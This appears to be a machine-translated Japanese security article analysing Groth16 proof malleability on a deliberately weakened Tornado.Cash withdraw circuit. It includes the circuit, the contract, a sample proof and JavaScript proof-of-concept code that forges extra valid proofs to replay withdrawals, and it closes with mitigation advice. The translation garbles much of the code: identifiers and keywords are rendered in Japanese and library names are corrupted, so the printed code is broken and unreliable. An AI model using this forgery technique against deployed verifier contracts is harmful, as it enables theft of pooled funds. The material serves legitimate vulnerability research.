前回の記事では、Groth16 証明システム自体の展性の脆弱性について原理の観点から説明しましたが、今回は Tornado.Cash プロジェクトを例に、その回路とコードの一部を修正し、展性の脆弱性について紹介します。他の zkp プロジェクト関係者も、プロジェクト内の対応する予防策に注意を払うことを願っています。このうち、Tornado.Cash は snarkjs ライブラリを使用して開発していますが、これも次の開発プロセスに基づいており、後ほど直接紹介しますので、このライブラリについて詳しくない場合は、このシリーズの最初の記事を読んでください。 (Beosin | ゼロ知識証明 zk-SNARK 脆弱性の詳細分析: ゼロ知識証明システムはなぜ絶対確実ではないのか?)! [346a815b39293aee95668fb9b2049873] (https://img-cdn.gateio.im/resize-social/moments-40baef27dd-96823e64cc-dd1a6f-1c6801 “7076908”)
(ソース:
Tornado.Cash の対話プロセスには、主に 4 つのエンティティが含まれます。 * ユーザー: この DApp を使用して、ミキサーとの入金と出金を含むプライバシー トランザクションを実行します。
ユーザーはまず、Tornado.Cash のフロントエンド Web ページで対応する操作を実行して入金または出金トランザクションをトリガーします。次に、リレーレイヤーがトランザクション リクエストをチェーン上の Tornado.Cash プロキシ コントラクトに転送し、対応するコントラクトに転送します。取引金額に応じてプールし、最終的に入出金を処理するための具体的な構造は次のとおりです。 [f471dfca152796f84a6389ff3a6d96ac] (https://img-cdn.gateio.im/resize-social/moments-40baef27dd-fa8e75c3b3-dd1a6f-1c6801 “7076909”) 通貨ミキサーとして、Tornado.Cash には 2 つの特定のビジネス機能があります: * デポジット : ユーザーが入金トランザクションを実行する場合、最初にフロントエンド Web ページで入金されたトークン (BNB、ETH など) と対応する金額を選択します。ユーザーのプライバシーをより確実に確保するため、入金できる金額は 4 つだけです。
! [fc9fe4cf9b1b8528e2446d23f39afc9a] (https://img-cdn.gateio.im/resize-social/moments-40baef27dd-22994b5b68-dd1a6f-1c6801 “7076910”)
出典: <
次に、サーバーは 2 つの 31 バイトの乱数 Nullifier と Secret を生成し、それらを結合した後、pedersenHash 操作を実行してコミットメントを取得し、Nullifier + Secret とプレフィックスをメモとしてユーザーに返します。 : ! [83feeca678c53c26a5cfe70f55d29f10] (https://img-cdn.gateio.im/resize-social/moments-40baef27dd-64aba8733a-dd1a6f-1c6801 “7076911”)* その後、入金トランザクションが開始され、コミットメントとその他のデータが Tornado.Cash プロキシに送信されます。チェーン上のコントラクトを処理し、プロキシ コントラクトはデポジット額に応じてデータを対応するプールに転送し、最後にプール コントラクトはコミットメントをリーフ ノードとしてマークル ツリーに挿入し、計算されたルートをプール コントラクトに保存します。
! [49898b341e39bdbebd651b5d3918faef] (https://img-cdn.gateio.im/resize-social/moments-40baef27dd-54deb436c4-dd1a6f-1c6801 “7076912”)
画像ソース: <* 次に、サーバーはチェーンの下で Tornadocash のすべての入金イベントを取得し、コミットメントを抽出してチェーンの下にマークル ツリーを構築し、指定されたノート データ (ヌリファイア + シークレット) に従ってコミットメントと対応するマークルを生成します。ユーザーによるパスと対応するルートは、ゼロ知識 SNARK 証明を取得するための回路入力として使用され、最後に、引き出しトランザクションがチェーン上の Tornado.Cash Proxy コントラクトに対して開始され、対応するプール コントラクトにジャンプして検証されます。パラメータに従って証明され、ユーザーが指定した受取人のアドレスにお金が入金されます。
このうち、Tornado.Cash の引き出しコアは、実際には、ユーザーが保持する無効化子や秘密を公開することなく、マークル ツリー上に特定のコミットメントが存在することを証明するものであり、具体的なマークル ツリー構造は次のとおりです。 [a56d827c9d275989d6948e23280123ce] (https://img-cdn.gateio.im/resize-social/moments-40baef27dd-2215203ef5-dd1a6f-1c6801 “7076913”)## 2 Tornado.Cash マジック修正版
最初の記事の Groth16 延性攻撃原理については、攻撃者が同じヌリファイアーとシークレットを使用して実際に複数の異なるプルーフを生成できることがわかっています。開発者がプルーフ リプレイによって引き起こされる二重支出攻撃を考慮しない場合、プロジェクトの資金調達を脅かすことになります。 。 **Tornado.Cash の魔法の変更の前に、この記事ではまず、Tornado.Cash が最終的に出金を処理するプール内のコードを紹介します。
/** @dev 契約からデポジットを引き出します。 proof は zkSNARK 証明データであり、入力は回路パブリック入力の配列です。 入力配列は次で構成されます: - 契約内のすべての預金のマークル ルート - 二重支出を防ぐための一意の預金無効化子のハッシュ - 資金の受取人 - 送金されるオプション料金トランザクション送信者 (通常はリレー) へ */ functiondraw( bytes calldata _proof, bytes32 _root, bytes32 _nullifierHash, address payable _recipient, address payable _relayer, uint256 _fee, uint256 _refund ) external payable nonReentrant { require(_fee <= 額面, “手数料が送金金額を超えています”); require(!nullifierHashes[_nullifierHash], “メモはすでに使用されています”); require(isKnownRoot(_root), “マークル ルートが見つかりません”); // 必ず最新のものを使用してください require( verifier.verifyProof( _proof, [uint256(_root), uint256(_nullifierHash), uint256(_recipient), uint256(_relayer), _fee, _refund] ) 、「無効な引き出し証明」 ); nullifierHashes[_nullifierHash] = true; _processWithdraw(_recipient, _relayer, _fee, _refund); Emit Withdrawal(_recipient, _nullifierHash, _relayer, _fee); }
上の図では、攻撃者が同じ Proof を使用して nullifier と秘密を公開せずに二重支払い攻撃を実行するのを防ぐために、Tornado.Cash は、nullifier の Pedersen ハッシュによって取得されるパブリック シグナル nullifierHash を回路に追加します。チェーンに渡されるパラメーターとして使用でき、プール コントラクトはこの変数を使用して、正しいプルーフが使用されたかどうかを識別します。しかし、プロジェクト当事者が回路を変更する方法を使用せず、二重支出を防ぐために証明方法を直接記録する場合、結局のところ、これにより回路の制約が軽減され、コストが削減されますが、目的は達成できますか?この推測に対して、この記事では回路内に新たに追加された nullifierHash パブリック信号を削除し、契約検証を Proof 検証に変更します。 Tornado.Cashは出金のたびにすべての入金イベントを取得し、マークルツリーを構築し、生成されたルート値が最新の30以内かどうかを検証するため、全体の処理が面倒なので、この記事の回路ではマークルツリー回路も削除します。 , 引き出し部分のコア回路のみが残り、具体的な回路は以下の通りです。
“…/…/…/…/node_modules/circomlib/circuits/bitify.circom” を含めます。 include “…/…/…/…/node_modules/circomlib/circuits/pedersen.circom”;// Pedersen(nullifier + Secret)template を計算します CommitmentHasher() { 信号入力ヌリファイア;信号入力の秘密。信号出力のコミットメント。 // シグナル出力 nullifierHash; // コンポーネントを削除します commitHasher = Pedersen(496); // コンポーネント nullifierHasher = Pedersen(248);コンポーネント nullifierBits = Num2Bits(248);コンポーネント SecretBits = Num2Bits(248); nullifierBits.in <== nullifier; SecretBits.in <== シークレット; for ( i = 0; i < 248; i++) { // nullifierHasher.in [i] <== nullifierBits.out [i] ; // commitHasher.in を削除します [i] <== nullifierBits.out [i] ; commitHasher.in[i + 248] <== SecretBits.out [i] ; } コミットメント <== commitHasher.out [0] ; // nullifierHash <== nullifierHasher.out [0] ; // delete}// 指定されたシークレットと nullifier に対応するコミットメントが、デポジット シグナル出力コミットメントのマークル ツリーに含まれていることを検証します。信号入力受信者。 // 信号入力リレーラーの計算には参加しません。 // 信号入力手数料の計算には一切関与しません。 // いかなる計算にも参加しない信号入力返金; // いかなる計算にも参加しない信号入力ヌルファイア。信号入力の秘密。コンポーネントハッシュ = CommitmentHasher(); hasher.nullifier <== ヌルファイア; hasher.secret <== シークレット;コミットメント <== hasher.commitment; // 受信者や料金の改ざんによって卑劣な証拠が無効になることを確認するために、隠しシグナルを追加します。 // ほとんどの場合、必須ではありませんが、安全側に置いておく方が良いです。必要な制約は 2 つだけです。 // 四角形は、不正行為を防ぐために使用されます。オプティマイザーがこれらの制約を削除すると、recipientSquare に通知されます。信号料平方;信号中継器広場;シグナル返金スクエア;受信者Square <== 受信者 * 受信者; FeeSquare <== 料金 * 料金;リレーラーSquare <== リレーラー * リレーラー;払い戻しSquare <== 払い戻し * 払い戻し;}コンポーネント main = Withdraw(20);
注: 実験中に、GitHub の最新バージョンのコードに TornadoCash が含まれていることがわかりました (引き出し回路には出力信号がないため、正しく実行するには手動で修正する必要があります。) 上記の修正回路に従って、snarkjs ライブラリなどを使用して、この記事の冒頭で示した開発プロセスを段階的に実行し、次の通常の Proof を生成し、proof1 として記録します。
証明: { pi_a: [ 12731245758885665844440940942625335911548255472545721927606279036884288780352n、1102956704503334056654836789330 4052946457319632960669053932271922876268005970n、1n ]、pi_b: [ [ 4424670283556465622197187546754094667837383166479615474515182 183878046002081n、8088104569927474555610665242983621221932062943927262293572649061565902268616n ]、[ 91942484631159869403598 11988096155965376840166464829609545491502209803154186n、1837313907398169665513687066580039398613087649812888709108706006836 9811557306n ]、[ 1n、0n ] ]、pi_c: [ 1626407734863381433630916916203225704171957179582436403191883565668143772631n、1037520490 2125491773178253544576299821079735144068419595539416984653646546215n、1n ]、プロトコル: 'groth16 '、曲線: ‘bn128’}
まず、検証のために circom が生成したデフォルトのコントラクトを使用しますが、このコントラクトには使用された Proof 関連情報がまったく記録されていないため、攻撃者は Proof1 を複数回再生して二重支払い攻撃を引き起こすことができます。以下の実験では、同じ回路の同じ入力に対して無限に証明を繰り返すことができ、すべて検証をパスすることができます。 ! [caaf8474774d0ffaaea894961231e604] (https://img-cdn.gateio.im/resize-social/moments-40baef27dd-36bda9ebd9-dd1a6f-1c6801 “7076914”) 下の図は、デフォルトのコントラクトでproof1を使用して検証が行われていることを証明する実験のスクリーンショットです。で使用される前の記事の証明パラメーター A、B、および C と最終結果を含む、合格したコード:
! [8796de83786dab2e1d2fe8988a2a8c3c] (https://img-cdn.gateio.im/resize-social/moments-40baef27dd-1d87d37558-dd1a6f-1c6801 “7076915”)
以下の図は、同じproof1 を使用して証明検証のために verifyProof 関数を複数回呼び出した結果です。実験の結果、同じ入力に対して、攻撃者が検証に何度 Proof1 を使用しても、次の結果を通過できることがわかりました。 [058bfa45cfac5803990db4cb707c737b] (https://img-cdn.gateio.im/resize-social/moments-40baef27dd-6f3b277d3a-dd1a6f-1c6801 “7076916”) もちろん、snarkjs のネイティブ JS コード ライブラリでテストし、Proof は使用しませんでした。 ## 2.2.2 検証証明 - 通常のアンチリプレイ契約
circom によって生成されたデフォルト コントラクトのリプレイ脆弱性について、この記事では、次の図に示すように、検証されたプルーフを使用してリプレイ攻撃を防ぐために使用された正しいプルーフ (proof1) に値を記録します。 [9afeb481747b16752a00b70c5562bac2] (https://img-cdn.gateio.im/resize-social/moments-40baef27dd-384e9b2889-dd1a6f-1c6801 “7076917”) 検証には Proof1 を引き続き使用します。実験では、同じ Proof を二次検証に使用すると、トランザクションは取り消されました。エラー:「メモはすでに使用されています」。結果は次の図に示すとおりです。 [40293d602538a60400dffa795e0454dd] (https://img-cdn.gateio.im/resize-social/moments-40baef27dd-d09fb1e9c2-dd1a6f-1c6801 “7076918”) ただし、 現時点で通常のプルーフリプレイ攻撃を防ぐという目的は達成されていますが、前回の紹介 groth16 アルゴリズムには延性の脆弱性の問題があり、この予防策は依然としてバイパスされる可能性があります。そこで、下図のような PoC を構築し、最初の記事のアルゴリズムに従って同じ入力に対して偽の zk-SNARK 証明書を生成したところ、検証を通過できることが実験でわかりました。偽造証明proof2を生成するためのPoCコードは次のとおりです:
「/Users/saya/node_modules/ffjava/src/wasm_curve.js」から WasmCurve をインポート「/Users/saya/node_modules/ffjava/src/f1field.js」から ZqField をインポート「/Users」から groth16FullProve をインポート/saya/node_modules/snarkjs/src/groth16_fullprove.js"import groth16Verify from “/Users/saya/node_modules/snarkjs/src/groth16_verify.js”;import * を “/Users” から曲線としてインポート/saya/node_modules/snarkjs/src/curves.js";import fs from “fs”;import { utils } from “ffjava”;const {unstringifyBigInts} = utils;groth16_exp();async function groth16_exp (){ 入力 A = “7” にします; inputB = “11” にします。 const SNARK_FIELD_SIZE = BigInt(‘21888242871839275222246405745257275088548364400416034343698204186575808495617’); // 2. 读取string後转化化はint constproof = await unstringifyBigInts(JSON.parse(fs.readFileSync(“proof.json”,“utf8”))); console.log(“証拠:”,proof); // 生成逆元、生成される逆元は F1 フィールドに存在する必要があります const F = new ZqField(SNARK_FIELD_SIZE); // const F = new F2Field(SNARK_FIELD_SIZE); const X = Fe(“123456”) const invX = F.inv(X) console.log(“x:” ,X ) console.log(“invX” ,invX) console.log(“タイムスカラーは:”, F.mul(X,invX)) // 读取椭曲線G1、G2点 const vKey = JSON.parse(fs.readFileSync(“verification_key.json”,“utf8”)); // console.log(“曲線は:”,vKey); const 曲線 = 待機曲線.getCurveFromName(vKey.curve); const G1 = 曲線.G1; const G2 = 曲線.G2; const A = G1.fromObject(proof.pi_a); const B = G2.fromObject(proof.pi_b); const C = G1.fromObject(proof.pi_c); const new_pi_a = G1.timesScalar(A, X); //A’=x*A const new_pi_b = G2.timesScalar(B, invX); //B’=x^{-1}*Bproof.pi_a = G1.toObject(G1.toAffine(A)); proof.new_pi_a = G1.toObject(G1.toAffine(new_pi_a))proof.new_pi_b = G2.toObject(G2.toAffine(new_pi_b)) // 生成的G1、G2点转化はproof console.log(“proof.pi_a:”,proof.pi_a); console.log(“proof.new_pi_a:”,proof.new_pi_a) console.log(“proof.new_pi_b:”,proof.new_pi_b)}
生成された偽造証明proof2を次の図に示します。 このパラメーターを使用して証明検証のために verifyProof 関数を再度呼び出すと、以下に示すように、同じ入力の場合にproof2 検証が再度成功することが実験でわかりました。 [03d0f119ea666620685b4cece791a789] (https://img-cdn.gateio.im/resize-social/moments-40baef27dd-4c49de3755-dd1a6f-1c6801 “7076919”) 偽造された証2は一度しか使用できませんが、偽造されたため、ほぼ無限に存在しますそのため、契約資金が無限に引き出される可能性があります。この記事でも、circom ライブラリの js コードを使用してテストし、実験結果のproof1とfakeproof2は検証に合格できます。 [9153431b50b81dcadbf68930ded584c3] (https://img-cdn.gateio.im/resize-social/moments-40baef27dd-934c4ab3e4-dd1a6f-1c6801 “7076920”)## 2.2.3 検証の証明 — Tornado.Cash リプレイ契約
たくさんの失敗を経て、一度でいいからやる方法はないのでしょうか?ここで、元の入力が使用されているかどうかを検証する Tornado.Cash の慣行に従って、この記事では引き続きコントラクト コードを次のように変更します。 [28fabffcac9037a41e030db84f44f83b] (https://img-cdn.gateio.im/resize-social/moments-40baef27dd-dfa6f29d35-dd1a6f-1c6801 “7076921”) groth16 アルゴリズム、*\ *この記事では、元の回路入力を直接記録する方法を採用していますが、これはゼロ知識証明のプライバシー原則に準拠しておらず、回路入力は機密に保たれるべきです。 **たとえば、Tornado.Cash の入力はすべてプライベートであり、Proof を識別するには新しいパブリック入力を追加する必要があります。この論文では、回路に新しいロゴがないため、Tornado.Cash に比べてプライバシーが比較的低く、次のような結果を示すための実験デモとしてのみ使用されます。 [ac4624fc066156979fae817e327c6224] (https://img-cdn.gateio.im/resize-social/moments-40baef27dd-440d87e977-dd1a6f-1c6801 “7076922”) 上の図の同じ入力を使用した Proof は、proof1 のみを渡すことができることがわかります。初回は、proof1 も偽造された Proof2 も検証に合格できません。 ## 3 要約と推奨事項
この論文は主に、TornadoCash の回路を変更し、開発者が一般的に使用する Circom によって生成されたデフォルトのコントラクトを使用することにより、リプレイ脆弱性の信頼性と被害を検証し、さらにコントラクト レベルで使用される共通の対策によってリプレイを保護できることを検証します。 Groth16 の展性攻撃に関して、ゼロ知識証明プロジェクトはプロジェクト開発中に次の点に注意することをお勧めします: * アドレスなどの固有のデータを使用してノード データを生成する従来の DApps とは異なり、zkpプロジェクトでは通常、乱数の組み合わせが使用されます。マークル ツリー ノードを生成するには、ビジネス ロジックで同じ値を持つノードの挿入が許可されているかどうかに注意する必要があります。 **同じリーフ ノード データにより、一部のユーザー資金が契約にロックされる可能性があるか、同じリーフ ノード データに複数のマークル プルーフがあり、ビジネス ロジックを混乱させる可能性があるためです。 **